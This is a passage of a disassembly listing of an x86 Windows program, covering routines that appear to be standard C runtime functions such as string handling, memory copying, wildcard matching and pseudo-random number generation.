loc_4171C8 loc_41717C: ; CODE XREF: sub_41714B+2Aj test edi, edi jnz short loc_4171BD cmp bl, 2Dh jnz short loc_4171B1 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_4171B1 cmp al, 5Dh jz short loc_4171B1 cmp [ebp+var_4], edi jnz short loc_4171B1 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_4171BD cmp bl, al jg short loc_4171BD push 1 mov [edx], esi pop edi jmp short loc_4171BD ; --------------------------------------------------------------------------- loc_4171B1: ; CODE XREF: sub_41714B+38j ; sub_41714B+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_4171BD push 1 pop edi loc_4171BD: ; CODE XREF: sub_41714B+33j ; sub_41714B+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_41716E ; --------------------------------------------------------------------------- loc_4171C8: ; CODE XREF: sub_41714B+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_4171D5 mov ecx, eax sub ecx, edi mov edi, ecx loc_4171D5: ; CODE XREF: sub_41714B+82j cmp edi, eax jnz short loc_4171DE mov eax, [ebp+arg_4] inc dword ptr [eax] loc_4171DE: ; CODE XREF: sub_41714B+8Cj mov eax, edi pop edi leave retn sub_41714B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171E3 proc near ; CODE XREF: sub_4170B5+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4171FF: ; CODE XREF: sub_4171E3+3Aj cmp [eax], bl jz short loc_41721F mov cl, [ecx] cmp cl, 3Fh jz short loc_417214 cmp cl, 2Ah jnz short loc_41721F cmp cl, 3Fh jnz short loc_417217 loc_417214: ; CODE XREF: sub_4171E3+25j inc eax mov [edi], eax loc_417217: ; CODE XREF: sub_4171E3+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4171FF ; --------------------------------------------------------------------------- loc_41721F: ; CODE XREF: sub_4171E3+1Ej ; sub_4171E3+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_41722A inc dword ptr [esi] jmp short loc_41721F ; --------------------------------------------------------------------------- loc_41722A: ; CODE XREF: sub_4171E3+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_41724B mov edx, [esi] cmp [edx], bl jz short loc_41723C xor eax, eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41723C: ; CODE XREF: sub_4171E3+53j cmp cl, bl jnz short loc_41724B mov ecx, [esi] cmp [ecx], bl jnz short loc_41724B push 1 pop eax jmp short loc_4172AB ; --------------------------------------------------------------------------- loc_41724B: ; CODE XREF: sub_4171E3+4Dj ; sub_4171E3+5Bj ... push eax push dword ptr [esi] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_417295 loc_417259: ; CODE XREF: sub_4171E3+B0j inc dword ptr [edi] mov eax, [edi] loc_41725D: ; CODE XREF: sub_4171E3+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_417275 cmp cl, 5Bh jz short loc_417275 cmp dl, bl jz short loc_417275 inc eax mov [edi], eax jmp short loc_41725D ; --------------------------------------------------------------------------- loc_417275: ; CODE XREF: sub_4171E3+82j ; sub_4171E3+87j ... mov eax, [edi] cmp [eax], bl jz short loc_41728C push eax push dword ptr [esi] call sub_4170B5 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_417291 ; --------------------------------------------------------------------------- loc_41728C: ; CODE XREF: sub_4171E3+96j mov [ebp+var_4], ebx xor eax, eax loc_417291: ; CODE XREF: sub_4171E3+A7j cmp eax, ebx jnz short loc_417259 loc_417295: ; CODE XREF: sub_4171E3+74j mov eax, [edi] cmp [eax], bl jnz short loc_4172A8 mov eax, [esi] cmp [eax], bl jnz short loc_4172A8 mov [ebp+var_4], 1 loc_4172A8: ; CODE XREF: sub_4171E3+B6j ; sub_4171E3+BCj mov eax, [ebp+var_4] loc_4172AB: ; CODE XREF: sub_4171E3+57j ; sub_4171E3+66j pop edi pop esi pop ebx leave retn sub_4171E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172B0 proc near ; CODE XREF: sub_401000+64p ; sub_4010B5+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4172F0 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4172FD ; --------------------------------------------------------------------------- loc_4172F0: ; CODE XREF: sub_4172B0+36j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_4172FD: ; CODE XREF: sub_4172B0+3Ej mov eax, esi pop esi leave retn sub_4172B0 endp ; =============== S U B R O U T I N E ======================================= sub_417302 proc near ; CODE XREF: sub_401000+2Ep ; sub_401D82+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_439550, eax retn sub_417302 endp ; =============== S U B R O U T I N E ======================================= sub_41730C proc near ; CODE XREF: sub_4010B5+CBp ; sub_4010B5+13Fp ... mov eax, dword_439550 imul eax, 343FDh add eax, 269EC3h mov dword_439550, eax sar eax, 10h and eax, 7FFFh retn sub_41730C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417330 proc near ; CODE XREF: sub_4010B5+281p ; sub_40144A+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_417383 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_417377 neg ecx and ecx, 3 jz short loc_417359 sub edx, ecx loc_417353: ; CODE XREF: sub_417330+27j mov [edi], al inc edi dec ecx jnz short loc_417353 loc_417359: ; CODE XREF: sub_417330+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_417377 rep stosd test edx, edx jz short loc_41737D loc_417377: ; CODE XREF: sub_417330+18j ; sub_417330+3Fj ... mov [edi], al inc edi dec edx jnz short loc_417377 loc_41737D: ; CODE XREF: sub_417330+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417383: ; CODE XREF: sub_417330+Aj mov eax, [esp+arg_0] retn sub_417330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417390 proc near ; CODE XREF: sub_4010B5+22Dp ; sub_4010B5+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_39 = byte ptr 41h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4173B0 cmp edi, eax jb loc_417528 loc_4173B0: ; CODE XREF: sub_417390+16j test edi, 3 jnz short loc_4173CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- loc_4173CC: ; CODE XREF: sub_417390+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4173E4 and eax, 3 add ecx, eax jmp dword ptr loc_4173EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4173E4: ; CODE XREF: sub_417390+46j jmp dword ptr loc_4174E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4173EC: ; CODE XREF: sub_417390+31j ; sub_417390+8Ej ... jmp off_41746C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_417400 dd offset loc_41742C dd offset loc_417450 ; --------------------------------------------------------------------------- loc_417400: ; DATA XREF: sub_417390+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41742C: ; DATA XREF: sub_417390+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417450: ; DATA XREF: sub_417390+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41746C dd offset loc_4174CF ; DATA XREF: sub_417390:loc_4173ECr dd offset loc_4174BC dd offset loc_4174B4 dd offset loc_4174AC dd offset loc_4174A4 dd offset loc_41749C dd offset loc_417494 dd offset loc_41748C ; --------------------------------------------------------------------------- loc_41748C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_417494: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41749C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4174A4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4174AC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4174B4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4174BC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4174CF: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390:off_41746Co jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4174D8 dd offset loc_4174E8 ; DATA XREF: sub_417390+35r ; sub_417390+92r ... dd offset loc_4174F0 dd offset loc_4174FC dd offset loc_417510 ; --------------------------------------------------------------------------- loc_4174E8: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4174F0: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4174FC: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417510: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417528: ; CODE XREF: sub_417390+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41755C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417550: ; CODE XREF: sub_417390+1B1j ; sub_417390+208j ... neg ecx jmp off_417620[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41755C: ; CODE XREF: sub_417390+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_417574 and eax, 3 sub ecx, eax jmp dword ptr loc_417574+4[eax*4] ; --------------------------------------------------------------------------- loc_417574: ; CODE XREF: sub_417390+1D6j ; DATA XREF: sub_417390+1DDr jmp off_417670[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [ebp+arg_39], dh add [eax-2FFFBE8Bh], ch jnz short loc_4175C8 add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_417550 std rep movsd cld loc_4175C8: ; CODE XREF: sub_417390+1F5j jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417624 dd offset loc_41762C dd offset loc_417634 dd offset loc_41763C dd offset loc_417644 dd offset loc_41764C dd offset loc_417654 off_417620 dd offset loc_417667 ; DATA XREF: sub_417390+1C2r ; --------------------------------------------------------------------------- loc_417624: ; DATA XREF: sub_417390+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41762C: ; DATA XREF: sub_417390+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_417634: ; DATA XREF: sub_417390+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41763C: ; DATA XREF: sub_417390+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_417644: ; DATA XREF: sub_417390+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41764C: ; DATA XREF: sub_417390+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_417654: ; DATA XREF: sub_417390+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_417667: ; CODE XREF: sub_417390+1C2j ; DATA XREF: sub_417390:off_417620o jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h off_417670 dd offset loc_417680 ; DATA XREF: sub_417390+1B7r ; sub_417390:loc_417574r ... dd offset loc_417688 dd offset loc_417698 dd offset loc_4176AC ; --------------------------------------------------------------------------- loc_417680: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417688: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417698: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4176AC: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_417390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4176D0 proc near ; CODE XREF: sub_4010B5+FCp ; sub_4010B5+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41771C loc_4176E0: ; CODE XREF: sub_4176D0+3Cj ; sub_4176D0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 shr eax, 10h cmp al, [ecx+2] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+3] jnz short loc_417714 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4176E0 mov edi, edi loc_417710: ; CODE XREF: sub_4176D0+18j ; sub_4176D0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_417714: ; CODE XREF: sub_4176D0+14j ; sub_4176D0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41771C: ; CODE XREF: sub_4176D0+Ej test edx, 1 jz short loc_417738 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_417714 inc ecx or al, al jz short loc_417710 test edx, 2 jz short loc_4176E0 loc_417738: ; CODE XREF: sub_4176D0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 add ecx, 2 jmp short loc_4176E0 sub_4176D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417760 proc near ; CODE XREF: sub_4010B5+19Ep ; sub_401A76+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417779 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417779: ; CODE XREF: sub_417760+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417760 endp ; =============== S U B R O U T I N E ======================================= sub_417794 proc near ; CODE XREF: sub_41781F+4p ; sub_42094E+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41779C: ; CODE XREF: sub_417794+34j cmp dword_4397AC, 1 jle short loc_4177B4 movzx eax, byte ptr [edi] push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4177C3 ; --------------------------------------------------------------------------- loc_4177B4: ; CODE XREF: sub_417794+Fj movzx eax, byte ptr [edi] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 8 loc_4177C3: ; CODE XREF: sub_417794+1Ej test eax, eax jz short loc_4177CA inc edi jmp short loc_41779C ; --------------------------------------------------------------------------- loc_4177CA: ; CODE XREF: sub_417794+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4177DA cmp esi, 2Bh jnz short loc_4177DE loc_4177DA: ; CODE XREF: sub_417794+3Fj movzx esi, byte ptr [edi] inc edi loc_4177DE: ; CODE XREF: sub_417794+44j xor ebx, ebx loc_4177E0: ; CODE XREF: sub_417794+7Bj cmp dword_4397AC, 1 jle short loc_4177F5 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_417800 ; --------------------------------------------------------------------------- loc_4177F5: ; CODE XREF: sub_417794+53j mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_417800: ; CODE XREF: sub_417794+5Fj test eax, eax jz short loc_417811 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4177E0 ; --------------------------------------------------------------------------- loc_417811: ; CODE XREF: sub_417794+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41781A neg eax loc_41781A: ; CODE XREF: sub_417794+82j pop edi pop esi pop ebp pop ebx retn sub_417794 endp ; =============== S U B R O U T I N E ======================================= sub_41781F proc near ; CODE XREF: sub_4013EC+12p ; sub_4013EC+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417794 pop ecx retn sub_41781F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41782A proc near ; CODE XREF: sub_40144A+318p ; sub_401D82+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_417869 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_417876 ; --------------------------------------------------------------------------- loc_417869: ; CODE XREF: sub_41782A+35j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_417876: ; CODE XREF: sub_41782A+3Dj mov eax, esi pop esi leave retn sub_41782A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417880 proc near ; CODE XREF: sub_401D82+2D8p ; sub_401D82+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4178FA mov dh, [ecx+1] test dh, dh jz short loc_4178E7 loc_417898: ; CODE XREF: sub_417880+52j ; sub_417880+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4178BA test al, al jz short loc_4178B4 loc_4178A9: ; CODE XREF: sub_417880+32j mov al, [esi] inc esi loc_4178AC: ; CODE XREF: sub_417880+3Fj cmp al, dl jz short loc_4178BA test al, al jnz short loc_4178A9 loc_4178B4: ; CODE XREF: sub_417880+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4178BA: ; CODE XREF: sub_417880+23j ; sub_417880+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4178AC lea edi, [esi-1] loc_4178C4: ; CODE XREF: sub_417880+63j mov ah, [ecx+2] test ah, ah jz short loc_4178F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417898 mov al, [ecx+3] test al, al jz short loc_4178F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4178C4 jmp short loc_417898 ; --------------------------------------------------------------------------- loc_4178E7: ; CODE XREF: sub_417880+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_418F56 ; --------------------------------------------------------------------------- loc_4178F3: ; CODE XREF: sub_417880+49j ; sub_417880+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4178FA: ; CODE XREF: sub_417880+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417880 endp ; =============== S U B R O U T I N E ======================================= sub_417900 proc near ; CODE XREF: sub_4022C6+94p ; sub_405A58+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_417915 or eax, 0FFFFFFFFh jmp short loc_41794F ; --------------------------------------------------------------------------- loc_417915: ; CODE XREF: sub_417900+Ej test al, 83h jz short loc_41794D push esi call sub_41A7D0 push esi mov edi, eax call sub_41A76A push dword ptr [esi+10h] call sub_41A6B7 add esp, 0Ch test eax, eax jge short loc_41793B or edi, 0FFFFFFFFh jmp short loc_41794D ; --------------------------------------------------------------------------- loc_41793B: ; CODE XREF: sub_417900+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41794D push eax call sub_417C3B and dword ptr [esi+1Ch], 0 pop ecx loc_41794D: ; CODE XREF: sub_417900+17j ; sub_417900+39j ... mov eax, edi loc_41794F: ; CODE XREF: sub_417900+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_417900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417956 proc near ; CODE XREF: sub_4022C6+8Ep ; sub_40EE72+2B0Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41A8A2 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_419E38 push [ebp+arg_0] mov edi, eax push esi call sub_41A92F add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_417956 endp ; =============== S U B R O U T I N E ======================================= sub_417988 proc near ; CODE XREF: sub_4179A8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41AADC test eax, eax jnz short loc_417992 retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417988+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A96C add esp, 10h retn sub_417988 endp ; =============== S U B R O U T I N E ======================================= sub_4179A8 proc near ; CODE XREF: sub_4022C6+54p ; sub_405A58+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_417988 add esp, 0Ch retn sub_4179A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179C0 proc near ; CODE XREF: sub_405AF2+2BFp ; sub_40A7D7+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_417A31 sub_4179C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_4022C6+32p ; sub_4022C6+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4179EC loc_4179DD: ; CODE XREF: sub_4179D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_417A1F test ecx, 3 jnz short loc_4179DD loc_4179EC: ; CODE XREF: sub_4179D0+Bj ; sub_4179D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4179EC mov eax, [ecx-4] test al, al jz short loc_417A2E test ah, ah jz short loc_417A29 test eax, 0FF0000h jz short loc_417A24 test eax, 0FF000000h jz short loc_417A1F jmp short loc_4179EC ; --------------------------------------------------------------------------- loc_417A1F: ; CODE XREF: sub_4179D0+12j ; sub_4179D0+4Bj lea edi, [ecx-1] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A24: ; CODE XREF: sub_4179D0+44j lea edi, [ecx-2] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A29: ; CODE XREF: sub_4179D0+3Dj lea edi, [ecx-3] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A2E: ; CODE XREF: sub_4179D0+39j lea edi, [ecx-4] loc_417A31: ; CODE XREF: sub_4179C0+5j ; sub_4179D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_417A56 loc_417A3D: ; CODE XREF: sub_4179D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_417AA8 mov [edi], dl inc edi test ecx, 3 jnz short loc_417A3D jmp short loc_417A56 ; --------------------------------------------------------------------------- loc_417A51: ; CODE XREF: sub_4179D0+9Ej ; sub_4179D0+B8j mov [edi], edx add edi, 4 loc_417A56: ; CODE XREF: sub_4179D0+6Bj ; sub_4179D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_417A51 test dl, dl jz short loc_417AA8 test dh, dh jz short loc_417A9F test edx, 0FF0000h jz short loc_417A92 test edx, 0FF000000h jz short loc_417A8A jmp short loc_417A51 ; --------------------------------------------------------------------------- loc_417A8A: ; CODE XREF: sub_4179D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417A92: ; CODE XREF: sub_4179D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_417A9F: ; CODE XREF: sub_4179D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417AA8: ; CODE XREF: sub_4179D0+72j ; sub_4179D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4179D0 endp ; =============== S U B R O U T I N E ======================================= sub_417AB0 proc near ; CODE XREF: sub_4023A7+1A7p ; sub_4023A7:loc_402561p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_417AD0 loc_417ABC: ; CODE XREF: sub_417AB0+19j mov al, [ecx] inc ecx test al, al jz short loc_417B03 test ecx, 3 jnz short loc_417ABC add eax, 0 loc_417AD0: ; CODE XREF: sub_417AB0+Aj ; sub_417AB0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test 